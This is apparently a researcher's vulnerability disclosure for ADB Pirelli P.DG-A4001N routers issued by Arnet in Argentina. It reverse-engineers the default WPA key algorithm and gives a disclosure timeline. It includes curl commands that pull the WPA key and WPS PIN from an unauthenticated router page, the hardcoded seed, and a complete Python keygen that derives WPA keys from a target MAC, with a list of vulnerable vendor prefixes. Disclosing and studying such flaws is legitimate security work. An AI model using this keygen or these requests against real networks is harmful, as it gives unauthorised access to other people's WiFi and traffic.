Introduction

$ curl -s http://${IP_ADDRESS}/wlsecurity.html | grep -i "WLAN_"
                  <option value='0'>WLAN_DEAD</option>
 
$ curl -s http://${IP_ADDRESS}/wlsecurity.html | grep -i "var wpapskkey"
var wpaPskKey = 'IsAklFHhFFui1sr9ZMqD';
 
$ curl -s http://${IP_ADDRESS}/wlsecurity.html | grep -i "var WscDevPin"
var WscDevPin    = '12820078';
 

Reverse-engineering the default key generation algorithm

1. generatekey calls generatekey_from_mac. This allow us to suppose that the mac address is involved in the key generation algorithm. Besides, getPBSHwaddr returns a mac address and it is also called by generatekey. Verification was carried out after checking how getPBSHwaddr returned the value of /var/hwaddr ( “ifconfig %s > /var/hwaddr “)
2. SHA256 cryptographic hash function is also involved. We then know that our key is coming from a well-known hash function. This way to generate WPA keys is very popular in some vendors because the feeling of “randomness”. Digging into this function will give us the main structure of our algorithm.
3. The function createWPAPassphraseFromKey is called by wlWriteMdmDefault ,which also calls to generatekey as well. Hence, we discover a function called bintoascii which is basically responsible to convert binary to ascii data.
4. The SSID is also created from the mac address although it is not relevant for our task.

1. First argument is located at offset 0x000d29e0
2. Second argument is the string we discovered previously (“1236790”)
3. Third argument it has to be the mac address because there is an instruction load immediate with the value 6. Since a mac address is 6 bytes, we can try it out now.

SHA256(secret_seed+”1236790″+mac_address)

def genkey(mac):
    seed = ('\x64\xC6\xDD\xE3\xE5\x79\xB6\xD9\x86\x96\x8D\x34\x45\xD2\x3B\x15' +
            '\xCA\xAF\x12\x84\x02\xAC\x56\x00\x05\xCE\x20\x75\x91\x3F\xDC\xE8')
 
    lookup  = '0123456789abcdefghijklmnopqrstuvwxyz'
   
    sha256 = hashlib.sha256()
    sha256.update(seed)
    sha256.update('1236790')
    sha256.update(mac)
 
    digest = bytearray(sha256.digest())
       
    return ''.join([lookup[x % len(lookup)] for x in digest[0:10]])

Problems

Timeline

Proof-of-concept

$ git clone https://dudux@bitbucket.org/dudux/adbpirelli.git
$ python wifiarnet.py
 

#!/usr/bin/env python
# -*- coding: utf-8 -*-
 
'''
@license: GPLv3
@author : Eduardo Novella
@contact: ednolo[a]inf.upv.es
@twitter: @enovella_
 
-----------------
[*] Target      :
-----------------
Vendor           : ADB broadband Pirelli
Router           : Model P.DG-A4001N
ISP              : Arnet Telecom Argentina
Possible-targets : http://hwaddress.com/?q=ADB%20Broadband%20Italia
Firmware         : http://foro.seguridadwireless.net/puntos-de-acceso-routers-switchs-y-bridges/obtener-firmware-adb-p-dg-a4001n-%28arnet-telecom-argentina%29/  
 
-----------------
[*] References  :
-----------------
[0] [AUSTRIA] A1/Telekom Austria PRG EAV4202N Default WPA Key Algorithm Weakness    http://sviehb.wordpress.com/2011/12/04/prg-eav4202n-default-wpa-key-algorithm/
[1] [ITALY]   Alice AGPF: The algorithm!                                            http://wifiresearchers.wordpress.com/2010/06/02/alice-agpf-lalgoritmo/
 
-----------------
[*] Test vectors :
-----------------
http://www.arg-wireless.com.ar/index.php?topic=1006.msg6551#msg6551
 
-----------------------
[*] Acknowledgements  :
-----------------------
Thanks to fernando3k for giving me the firmware in order to do reverse-engineering on it, and christian32 for showing me a bunch of test vectors.
 
-----------------
[*] Timeline    :
-----------------
2014-09-11  Found the algorithm
2014-09-12  Send a message to @ArnetOnline via Twitter @enovella_
2014-09-15  Send a message via website, still looking for a simple mail (http://www.telecom.com.ar/hogares/contacto_tecnico.html)
2014-09-16  Send another message to Arnet via website. First reply via twitter where they redirect me to the website form.
2014-09-19  Direct message via twitter. I talk with them about the critical vulnerability and offer them an email with PGP key
2014-09-20  More twitter PM about the same. They do not want to be aware about the problem though.
2014-09-23  I assume that Arnet does not care about its clients' security at all regarding its little interest.
2014-09-24  I send the problem to the vendor ADB Pirelli via website form
2014-09-28  I send the problem to the vendor ADB Pirelli via email to Switzerland
2015-01-05  Full disclosure
 
-----------------
[*] TODO        :
-----------------
1.- Reverse-engineering the function generateSSIDfromTheMac. It is not relevant though.
2.- Extract more firmwares from others vendors and send them to me.
 
'''
 
import re
import sys
import hashlib
import argparse
 
VERSION     = 1
SUBVERSION  = 0
DATEVERSION = '2014-09-11'
URL         = 'http://www.ednolo.alumnos.upv.es'
 
def genkey(mac,stdout='True'):
    seed = ('\x64\xC6\xDD\xE3\xE5\x79\xB6\xD9\x86\x96\x8D\x34\x45\xD2\x3B\x15' +
            '\xCA\xAF\x12\x84\x02\xAC\x56\x00\x05\xCE\x20\x75\x91\x3F\xDC\xE8')
 
    lookup  = '0123456789abcdefghijklmnopqrstuvwxyz'
   
    sha256 = hashlib.sha256()
    sha256.update(seed)
    sha256.update('1236790')
    sha256.update(mac)
 
    digest = bytearray(sha256.digest())
 
    if (stdout):
        print "[+] SHA256  : %s" % sha256.hexdigest()
       
    return ''.join([lookup[x % len(lookup)] for x in digest[0:10]])
 
 
def printTargets():
        print "[+] Possible vulnerable targets so far:"
        for t in targets:
            print ("\t bssid: {0:s}:XX:XX:XX \t essid: Wifi-Arnet-XXXX".format(t.upper()))
 
        sys.exit()
 
def checkTargets(bssid):
        supported = False
        for t in targets:
            if ( bssid.upper().startswith(t) ):
                supported = True
                break
        if (not supported):
            print "[!] Your bssid looks like not supported! Generating anyway."
       
def main():
   
    global targets
    version     = " {0:d}.{1:d}  [{2:s}] ----> {3:s}".format(VERSION,SUBVERSION,DATEVERSION,URL)
    targets = ['00:08:27','00:13:C8','00:17:C2','00:19:3E','00:1C:A2','00:1D:8B','00:22:33','00:8C:54',
    '30:39:F2','74:88:8B','84:26:15','A4:52:6F','A4:5D:A1','D0:D4:12','D4:D1:84','DC:0B:1A','F0:84:2F']
   
    parser = argparse.ArgumentParser(description='''>>> PoC WPA keygen for WiFi Networks deployed by Arnet in Argentina. So far
                                                 only WiFi networks with essid like Wifi-Arnet-XXXX and manufactured by Pirelli are
                                                 likely vulnerable. See http://ednolo.alumnos.upv.es/ for more details.
                                                 Twitter: @enovella_  and   email: ednolo[at]inf.upv.es''',
                                                 epilog='''(+) Help: python %s -b 74:88:8B:AD:C0:DE ''' %(sys.argv[0])
                                    )
   
    maingroup = parser.add_argument_group(title='required')
    maingroup.add_argument('-b','--bssid', type=str, nargs='?', help='Target mac address')
    parser.add_argument('-v', '--version', action='version', version='%(prog)s'+version)
    command_group = parser.add_mutually_exclusive_group()
    command_group.add_argument('-l','--list', help='List all vulnerable targets (essid Wifi-Arnet-XXXX)', action='store_true')
   
    args = parser.parse_args()
 
    if args.list:
        printTargets()
    elif args.bssid:
        mac_str = re.sub(r'[^a-fA-F0-9]', '', args.bssid)
        if len(mac_str) != 12:
            sys.exit('[!] Check MAC format!\n')
 
        try:
            mac = bytearray.fromhex('%012x' %(int(mac_str,16) +1))
        except:
            sys.exit('[!] Use real input :)')
 
        checkTargets(args.bssid)
        print '[+] SSID    : Wifi-Arnet-XXXX'
        print '[+] MAC     : %s' % args.bssid
        print '[+] WPA key : %s' % (genkey(mac,False))
    else:
        parser.print_help()
 
if __name__ == "__main__":
    main()